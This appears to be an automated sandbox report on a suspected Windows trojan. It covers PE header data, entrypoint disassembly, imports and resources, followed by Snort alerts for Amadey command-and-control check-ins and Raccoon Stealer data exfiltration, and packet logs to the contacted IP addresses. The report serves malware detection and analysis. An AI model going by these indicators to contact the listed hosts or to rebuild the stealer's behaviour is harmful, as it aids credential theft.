Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x60A442A2 [Tue May 18 22:41:38 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	1edccb2e6808b6fbc3aa19660b738ec5

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F4F21129A7Bh
call 00007F4F2111CB66h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DCA8h
push 0041E880h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010A0h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F4F2111CB78h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F4F2111CCA7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F4F2111CCE4h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F4F2112A46Ah
add esp, 04h
test eax, eax
jne 00007F4F2111CB5Ch
push 0000001Ch
call 00007F4F2111CC9Ch
add esp, 04h
call 00007F4F21125C44h
test eax, eax
jne 00007F4F2111CB5Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e3d4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x160000	0x83b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x169000	0x1e0c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1390	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9130	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x340	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e732	0x3e800	False	0.58246875	data	6.96128560054	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x11c988	0x1800	False	0.34033203125	data	3.4654687142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.semunil	0x15d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.wanexic	0x15e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.sutolac	0x15f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x160000	0x83b8	0x8400	False	0.597034801136	data	5.83105278509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x169000	0x46f6	0x4800	False	0.348198784722	data	3.69392005174	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x166ce8	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166ce0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166cf0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x166cf8	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x1665c8	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x166d00	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x1606e0	0x6c8	data	Spanish	Colombia
RT_ICON	0x160da8	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x161310	0x10a8	data	Spanish	Colombia
RT_ICON	0x1623b8	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x162d40	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1631f8	0x8a8	data	Spanish	Colombia
RT_ICON	0x163aa0	0x6c8	data	Spanish	Colombia
RT_ICON	0x164168	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1646d0	0x10a8	data	Spanish	Colombia
RT_ICON	0x165778	0x988	data	Spanish	Colombia
RT_ICON	0x166100	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x1675c0	0xe4	data	Dutch	Netherlands
RT_STRING	0x1676a8	0x3a8	data	Dutch	Netherlands
RT_STRING	0x167a50	0x6e6	data	Dutch	Netherlands
RT_STRING	0x168138	0x1a0	data	Dutch	Netherlands
RT_STRING	0x1682d8	0xdc	data	Dutch	Netherlands
RT_ACCELERATOR	0x166ca0	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x166c90	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x1675a8	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x1631a8	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x166568	0x5a	data	Spanish	Colombia
None	0x166cc0	0xa	data	Dutch	Netherlands
None	0x166cd0	0xa	data	Dutch	Netherlands
None	0x166cb0	0xa	data	Dutch	Netherlands

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeW, TerminateProcess, GetExitCodeProcess, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthW, GetDefaultCommConfigW, FindFirstFileExW, GetDriveTypeW, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameA, CopyFileA, TlsGetValue, SetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, GetNamedPipeHandleStateA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, GetPriorityClass, WritePrivateProfileStringA, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryA, GetSystemWow64DirectoryW, GetLastError, WriteProfileSectionW, GetProfileStringA, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, WriteFile, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceW, WriteConsoleW, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetDriveTypeA, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, GetConsoleMode, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, FindActCtxSectionStringA, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBA, PeekConsoleInputA, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, GetOverlappedResult, SetFileShortNameW, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetNumberOfConsoleInputEvents, GetModuleHandleW, WriteConsoleOutputCharacterA, HeapFree, OpenMutexW, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetProcessVersion, lstrcpynA, GetNamedPipeInfo, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, TerminateJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Spanish	Colombia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/14/22-04:59:16.383752	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited			188.166.28.199	192.168.2.3
01/14/22-04:59:19.384168	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited			188.166.28.199	192.168.2.3
01/14/22-04:59:25.384391	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited			188.166.28.199	192.168.2.3
01/14/22-04:59:46.778391	TCP	2018581	ET TROJAN Single char EXE direct download likely trojan (multiple families)	49873	80	192.168.2.3	141.8.194.74
01/14/22-04:59:46.852816	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49873	141.8.194.74	192.168.2.3
01/14/22-04:59:48.529075	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.529105	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.529276	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.529300	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.529644	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.529842	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.530375	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.530542	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.532410	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.533415	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.533658	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.533828	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.534561	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.535426	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.536529	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.536573	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.537508	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.538930	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.541445	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.541496	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.547617	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.548457	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.549777	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.550542	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.550922	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.551006	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.554806	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.557416	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.557674	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.558083	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.562258	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.562880	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.567846	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.569075	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.570644	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.570761	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.574212	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.575938	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.575977	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.576253	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.576635	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.581827	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.583536	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.589689	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.590834	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.592754	TCP	1087	WEB-MISC whisker tab splice attack	49877	80	192.168.2.3	185.215.113.35
01/14/22-04:59:48.532539	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.3	185.215.113.35
01/14/22-04:59:58.287383	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49897	80	192.168.2.3	185.163.204.24
01/14/22-04:59:58.987539	TCP	2018581	ET TROJAN Single char EXE direct download likely trojan (multiple families)	49873	80	192.168.2.3	141.8.194.74
01/14/22-04:59:59.062297	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49873	141.8.194.74	192.168.2.3
01/14/22-04:59:59.964384	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49897	80	192.168.2.3	185.163.204.24
01/14/22-05:00:14.624582	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49913	80	192.168.2.3	185.163.204.24
01/14/22-05:00:15.669639	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49913	80	192.168.2.3	185.163.204.24
01/14/22-05:00:16.798518	TCP	2033974	ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt	49913	80	192.168.2.3	185.163.204.24
01/14/22-05:00:03.120682	TCP	2033974	ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt	49897	80	192.168.2.3	185.163.204.24

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 04:58:58.253190994 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.309535027 CET	80	49747	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.312138081 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.312180042 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.312189102 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.368520021 CET	80	49747	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.394426107 CET	80	49747	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.394520044 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.406805038 CET	49747	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.443093061 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.462987900 CET	80	49747	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.498769999 CET	80	49748	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.498899937 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.499056101 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.499113083 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.556288958 CET	80	49748	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.584256887 CET	80	49748	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.585448027 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.585673094 CET	49748	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.642103910 CET	80	49748	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.887898922 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.944154024 CET	80	49749	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:58.944328070 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.944475889 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:58.944494963 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.000679016 CET	80	49749	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.026256084 CET	80	49749	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.028253078 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.028846025 CET	49749	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.086050987 CET	80	49749	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.337712049 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.394073963 CET	80	49750	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.394779921 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.394917965 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.394942045 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.451255083 CET	80	49750	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.475620985 CET	80	49750	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.475752115 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.476212978 CET	49750	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.532350063 CET	80	49750	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.809200048 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.866080999 CET	80	49751	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.866218090 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.866328955 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.866344929 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.922744036 CET	80	49751	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.949268103 CET	80	49751	94.142.143.91	192.168.2.3
Jan 14, 2022 04:58:59.949402094 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:58:59.949651957 CET	49751	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.006591082 CET	80	49751	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:00.297250986 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.353822947 CET	80	49752	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:00.354012966 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.354100943 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.354115009 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.411463022 CET	80	49752	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:00.435992002 CET	80	49752	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:00.436140060 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.436355114 CET	49752	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:00.444367886 CET	49753	80	192.168.2.3	185.186.142.166
Jan 14, 2022 04:59:00.495400906 CET	80	49752	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:00.500977039 CET	80	49753	185.186.142.166	192.168.2.3
Jan 14, 2022 04:59:01.012696028 CET	49753	80	192.168.2.3	185.186.142.166
Jan 14, 2022 04:59:01.069037914 CET	80	49753	185.186.142.166	192.168.2.3
Jan 14, 2022 04:59:01.575228930 CET	49753	80	192.168.2.3	185.186.142.166
Jan 14, 2022 04:59:01.633177042 CET	80	49753	185.186.142.166	192.168.2.3
Jan 14, 2022 04:59:01.675354958 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.731887102 CET	80	49754	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.734277964 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.734334946 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.734376907 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.790740013 CET	80	49754	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.814809084 CET	80	49754	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.814855099 CET	80	49754	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.814946890 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.815182924 CET	49754	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.843807936 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.871540070 CET	80	49754	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.900377989 CET	80	49755	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.901501894 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.901595116 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.904372931 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.958621979 CET	80	49755	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.962941885 CET	80	49755	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.991240025 CET	80	49755	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:01.991380930 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:01.991779089 CET	49755	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.049721003 CET	80	49755	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.289598942 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.346148014 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.346317053 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.346384048 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.410214901 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410270929 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410309076 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410346985 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410386086 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410387993 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.410425901 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410429001 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.410466909 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410502911 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410531998 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.410542011 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410571098 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.410583019 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.410718918 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467163086 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467217922 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467257023 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467295885 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467334032 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467372894 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467415094 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467428923 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467452049 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467514038 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467541933 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467546940 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467814922 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467858076 CET	80	49756	94.142.143.91	192.168.2.3
